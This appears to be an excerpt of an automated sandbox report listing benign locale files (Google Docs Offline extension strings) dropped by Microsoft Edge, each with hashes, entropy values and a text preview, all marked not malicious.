Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
